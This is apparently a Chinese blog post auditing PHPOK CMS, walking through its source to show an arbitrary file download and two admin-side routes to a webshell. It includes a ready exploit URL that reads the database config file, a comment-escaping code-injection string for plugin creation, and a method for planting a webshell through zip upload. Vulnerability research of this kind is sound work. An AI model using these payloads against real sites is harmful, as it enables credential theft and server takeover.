[代码审计]PHPOK任意文件下载&&后台Getshell方法分析
0x00 前言:
首先本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。
0x01 CMS简介:
PHPOK企业站系统(以下简称系统或本系统),采用PHP+MYSQL语言开发,是一套成熟完善的企业站CMS系统。本系统函盖功能全面,自定义功能强大,扩展性较好、安全性较高。可以轻松解决大部分企业站需求。
0x02 正文:
任意文件下载:
漏洞所在处:/framework/admin/res_action_control.php
漏洞所在行:即为以下代码的内容
<?php
public function download_f()
{
$file = $this->get("file");
$id = $this->get("id");
if(!$id && !$file){
$this->error(P_Lang('未指定ID'));
}
if($id){
$rs = $this->model('res')->get_one($id);
$file = $rs["filename"];
$title = $rs["title"].".".$rs["ext"];
}else{
$title = basename($file);
}
if(!$file){
$this->error(P_Lang('未指定附件'));
}
if(substr($file,0,7) != "http://" && substr($file,0,8) != "https://"){
$file = $this->dir_root.$file;
if(!file_exists($file)){
$this->error(P_Lang('附件不存在'));
}
}
$this->lib('file')->download($file,$title);
}
从4-5行
可以看出来我们可以拿到两个可控点,看到第10行
我们就可以果断的判断id
造成任意文件下载的可能性很低了,因为是查询的数据库获取的文件信息。 我们就将关注点放置file
处,我们来分析分析。从9-15行
这if
语句中我们大概可以猜出来这里是要做什么操作。 首先判断是否以文件id
的方式下载文件。如果是的话那么就读取数据库中的数据,如果不以id的形式的话就直接使用get
中的file
参数并且赋值给$title
。 继续看。20行
开始,如果$file
的前7位
不等于http
并且前8位
不等于https
的话就直接路径+$file
。之后判断是否文件是否存在。
看到: $this->lib('file')->download($file,$title)
,这里调用了file
类的download
方法并且将文件地址和文件名传了进去。我们跟踪到download
方法中。
<?php
/**
* 附件下载
* @参数 $file 要下载的文件地址
* @参数 $title 下载后的文件名
**/
public function download($file,$title='')
{
if(!$file){
return false;
}
if(!file_exists($file)){
return false;
}
$ext = pathinfo($file,PATHINFO_EXTENSION);
$filesize = filesize($file);
if(!$title){
$title = basename($file);
}else{
$title = str_replace('.'.$ext,'',$title);
$title.= '.'.$ext;
}
ob_end_clean();
header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT");
header("Content-Encoding: none");
if(isset($_SERVER["HTTP_USER_AGENT"]) && preg_match("/Firefox/",$_SERVER["HTTP_USER_AGENT"])){
header("Content-Disposition: attachment; filename*=\"utf8''".rawurlencode($title)."\"");
}else{
header("Content-Disposition: attachment; filename=".rawurlencode($title));
}
header("Accept-Ranges: bytes");
$range = 0;
$size2 = $filesize -1;
if (isset ($_SERVER['HTTP_RANGE'])) {
list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
$new_length = $size2 - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: ".$new_length); //输入总长
header("Content-Range: bytes ".$range."-".$size2."/".$filesize);
} else {
header("Content-Range: bytes 0-".$size2."/".$filesize); //Content-Range: bytes 0-4988927/4988928
header("Content-Length: ".$filesize);
}
$handle = fopen($file, "rb");
fseek($handle, $range);
set_time_limit(0);
while (!feof($handle)) {
print (fread($handle, 1024 * 8));
flush();
ob_flush();
}
fclose($handle);
}
看到以上代码,可以明显的看出并没有做任何的文件限制
以及判断
。这个方法直接就是一个下载的方法
了。所以应该需要在调用该类之前做限制
。限制文件目录
以及文件类型
。在调用该类之前做判断是因为这个类毕竟可能是用于多个场景之中。
<?php
/**
* 定义网站程序根目录,对应入口的**ROOT**,为空使用./
**/
public $dir_root = "./";
<?php
/**
* 配置网站全局常量
*/
private function init_constant()
{
//配置网站根目录
if(!defined("ROOT")){
define("ROOT",str_replace("\\","/",dirname(__FILE__))."/../");
}
$this->dir_root = ROOT;
if(substr($this->dir_root,-1) != "/"){
$this->dir_root .= "/";
/*代码省略**/
}
通过配置文件得到。$this->dir_root
路径为网站根目录。其实最简单的方法就是直接打印出来就好了。
URL:http://www.bugsafe.cn/admin.php?c=res_action&f=download&file=_config/db.ini.php
后台Getshell分析第一处#:
漏洞所在处:/framework/admin/plugin_control.php
漏洞所在行:即为以下代码的内容
<?php
/**
* 创建插件
**/
public function create_f()
{
$title = $this->get('title');
if(!$title){
$this->json(P_Lang('插件名称不能为空'));
}
$id = $this->get('id','system');
if($id){
if(strpos($id,'_') !== false){
$this->json(P_Lang('插件标识不支持下划线'));
}
$id = strtolower($id);
}else{
$id = md5($title.'-phpok.com-'.uniqid(rand(), true));
}
//检测插件文件夹是否存在
if(file_exists($this->dir_root.'plugins/'.$id)){
$this->json(P_Lang('插件标识已被使用,请重新设置'));
}
$note = $this->get('note');
$author = $this->get('author');
if(!$author){
$author = 'phpok.com';
}
if(!$note){
$note = P_Lang('自定义插件');
}
//创建XML文件
$content = '<?xml version="1.0" encoding="utf-8"?>'."\n";
$content.= '<root>'."\n\t";
$content.= '<title>'.$title.'</title>'."\n\t";
$content.= '<desc>'.$note.'</desc>'."\n\t";
$content.= '<author>'.$author.'</author>'."\n\t";
$content.= '<version>1.0</version>'."\n";
$content.= '</root>';
$this->lib('file')->vim($content,$this->dir_root.'plugins/'.$id.'/config.xml');
$this->lib('file')->vim('',$this->dir_root.'plugins/'.$id.'/template/setting.html');
$array = array('www','api','admin','install','uninstall','setting');
foreach($array as $key=>$value){
$content = '<?php'."\n".$this->php_note_title($id,$value,$title,$author)."\n".$this->php_demo($id,$value);
$this->lib('file')->vim($content,$this->dir_root.'plugins/'.$id.'/'.$value.'.php');
}
$this->json(true);
}
从32行开始看,32行前面的就被不说了,因为都是一些接收参数以及一些无关要紧的判断。看到40-41行从代码意思上可以看到写入的是一个xml
以及html
文件,所以继续往下走。
看到42-46行重点来了。首先是声明了一个数组。之后有一个foreach开始循环。将$content
写入到$array
数组里面所对应的值创建的文件(比如:www.php
,api.php
)。来看看$content
最后拿到的内容是什么。首先呢。是调用了php_note_title
方法并且将接收到的参数传了进去。去看看该方法做了什么操作。
<?php
private function php_note_title($id,$fileid,$title='',$author='')
{
$note = '';
switch($fileid) {
case "admin":
$note = P_Lang('后台应用');
break;
case 'www':
$note = P_Lang('前台应用');
break;
case 'api':
$note = P_Lang('接口应用');
break;
case 'install':
$note = P_Lang('插件安装');
break;
case 'uninstall':
$note = P_Lang('插件卸载');
break;
case 'setting':
$note = P_Lang('插件配置');
break;
default:
$note = P_Lang('未知');
}
$string = "/**\n";
$string.= " * ".$title.($note ? '<'.$note.'>': '')."\n";
$string.= " * @package phpok\\\plugins\n";
if($author){
$string.= " * @作者 ".$author."\n";
}
$string.= " * @版本 ".$this->version."\n";
$string.= " * @授权 http://www.phpok.com/lgpl.html PHPOK开源授权协议:GNU Lesser General Public License\n";
$string.= " * @时间 ".date("Y年m月d日 H时i分",$this->time)."\n";
$string.= "**/";
return $string;
}
27-37行可以看到这里就是一串注释的信息代码。经过测试。发现该程序是将各种特殊字符直接转义了的。所以是没有办法采用闭合单引号
,双引号
的方式。还有好几个地方的修改都是修改的是文件的内容。对于正常情况转义了单引号或者双引号的话,就造成不了闭合了。
这个文件是因为有了注释所以才导致的getshell
。我们可以直接构造。使用:*/phpinfo();/*
即可成功插入并且执行。$content
最后获取到的内容已经知道了接下来继续往下看。
$this->lib('file')->vim($content,$this->dir_root.'plugins/'.$id.'/'.$value.'.php');
来看看vim做的是什么操作。
<?php
/**
* 存储php等源码文件,不会写入安全保护
* @参数 $content 要保存的内容
* @参数 $file 保存的地址
* @返回 true
**/
public function vim($content,$file,$type="wb")
{
// var_dump($content);
// var_dump($file);exit;
$this->make($file,"file");
$this->_write($content,$file,$type);
return true;
}
直接看到13行,将内容写入到文件中。我们定位_write
中。
<?php
/**
* 写入信息
* @参数 $content 内容
* @参数 $file 要写入的文件
* @参数 $type 打开方式
* @返回 true
**/
private function _write($content,$file,$type="wb")
{
if($content){
$content = stripslashes($content);
}
$handle = $this->_open($file,$type);
fwrite($handle,$content);
unset($content);
$this->_close($handle);
return true;
}
可以看到并未做什么特殊处理,只将$content
反斜线去除之后就是正常的写入流程。现在已经知道了整个流程。
接下来先定位到这个方法在哪个页面调用的先。
发现是在插件中心里面调用的。直接来试试。
创建后是发现在plugins
创建了一个md5
命名的文件夹,里面有一些文件。
命名:$id = md5($title.'-phpok.com-'.uniqid(rand(), true));
(这个是在没有传入id
的情况下命名)
随便访问该目录下的一个php
文件,因为在上面已经知道了。这个文件是循环创建的。每个文件肯定都有一个注释。然而注释里面肯定都有我们写入的phpinfo()
在,打开一个文件看看。
成功了。接下来有疑问了。我创建了之后。我如何知道这个文件夹名是什么?直接回到插件中心。
文件夹名就在这里。我们访问试试。
后台Getshell分析第二处#:
也是在插件中心,有一个上传插件的地方。上传的为zip
。抓包看看它上传调用的是哪个方法。
漏洞所在处:/framework/admin/upload_control.php
漏洞所在行:即为以下代码的内容
<?php
/**
* 接收ZIP包上传,主要用于更新及数据导入,上传的表单ID固定用upfile
**/
public function zip_f()
{
$rs = $this->lib('upload')->zipfile('upfile');
if($rs['status'] != 'ok'){
$this->json($rs['error']);
}
$this->json($rs['filename'],true);
}
在这个方法最重要的操作就是调用了zipfile
。定位到zipfile
中
<?php
/**
* 上传ZIP文件
* @参数 $input,表单名
* @参数 $folder,存储目录,为空使用data/cache/
* @返回 数组,上传状态status及保存的路径
* @更新时间 2016年07月18日
**/
public function zipfile($input,$folder='')
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
//如果未指定存储文件夹,则使用
if(!$folder){
$folder = 'data/cache/';
}
$this->cateid = 0;
$this->set_dir($folder);
$this->set_type('zip');
$this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}
可以得知上传后zip
存储的路径是data/cache
。然后下面就直接调用_upload
方法进行了一个上传操作。
成功上传之后,就需要解压了。
漏洞所在处:/framework/admin/plugin_control.php
漏洞所在行:即为以下代码的内容
<?php
/**
* 解压插件
**/
public function unzip_f()
{
$id = $this->get('id','int');
if(!$id){
$filename = $this->get('filename');
if(!$filename){
$this->json(P_Lang('附件不存在'));
}
}else{
$rs = $this->model('res')->get_one($id);
if(!$rs){
$this->json(P_Lang('附件不存在'));
}
$filename = $rs['filename'];
}
$tmp = strtolower(substr($filename,-4));
if($tmp != '.zip'){
$this->json(P_Lang('非ZIP文件不支持在线解压'));
}
if(!file_exists($this->dir_root.$filename)){
$this->json(P_Lang('文件不存在'));
}
$info = $this->lib('phpzip')->zip_info($this->dir_root.$filename);
$info = current($info);
if(!$info['filename']){
$this->json(P_Lang('插件有异常'));
}
$info = explode('/',$info['filename']);
if(!$info[0]){
$this->json(P_Lang('插件有异常'));
}
if(file_exists($this->dir_root.'plugins/'.$info[0])){
$this->json(P_Lang('插件已存在,不允许重复解压'));
}
$this->lib('phpzip')->unzip($this->dir_root.$filename,$this->dir_root.'plugins/');
$this->json(true);
}
直接看到39行
(39行之前的操作估计大家都能看懂),跟踪到unzip
方法里面。
<?php
/**
* 解压缩,支持解压的类有:ZipArchive > zip_open > 自写PHP
* @参数 $file,要解压的ZIP文件,完整的路径
* @参数 $to,要解压到的目标文件,如果为空,将解压到当前文件夹
* @返回
* @更新时间
**/
public function unzip($file,$to='')
{
if(class_exists('ZipArchive')){
$zip = new ZipArchive;
$zip->open($file);
$zip->extractTo($to);
$zip->close();
return true;
}
if(function_exists('zip_open') && function_exists('zip_close')){
$zip = zip_open($file);
if($zip){
while ($zip_entry = zip_read($zip)) {
$file = basename(zip_entry_name($zip_entry));
$fp = fopen($to.basename($file), "w+");
if (zip_entry_open($zip, $zip_entry, "r")) {
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
zip_entry_close($zip_entry);
}
fwrite($fp, $buf);
fclose($fp);
}
zip_close($zip);
return true;
}
}
return $this->Extract($file,$to);
}
首先判断是否存在ZipArchive类
。如果存在就使用ZipArchive类
。如果不存在继续往下走。判断函数zip_open
与zip_close函数
是否存在。如果存在就使用自带的解压函数。
如果以上两种都不满足。就直接调用一个zip解压类
。可以看到以上的流程下来。并为发现有任何过滤的操作(有些cms可能会将文件读取出来之后再去读取文件里面内容)。从而我们只要将一个马上传上去之后就自动解压出来。
来试试。首先plugins
目录下是没有单独的php
文件的。
调用完上传之后会自动进行解压。
成功鸟。后台的程序升级处也是可以以这种方法进行getshell
。调用的都是同一个类。方法都是一样。(第二处getshell
,略过了挺多的代码。那些省略的都是基本逻辑的处理,其实这个zip
上传的并没有什么可以说的点,拿出来只是以一个思路的方式去讲,这个思路只是说以后可以多多关注这些地方。这些地方也是有可能存在问题的)。
PHPOK任意文件下载 PHPOK后台拿Shell方法 PHPOK漏洞
版权声明:[代码审计]PHPOK任意文件下载&&后台Getshell方法分析,本文出处:Poacher's Blog
本文链接:http://bugsafe.cn/archives/73.html
如非特别注明,本站内容均为博主原创,转载请务必注明作者和原始出处。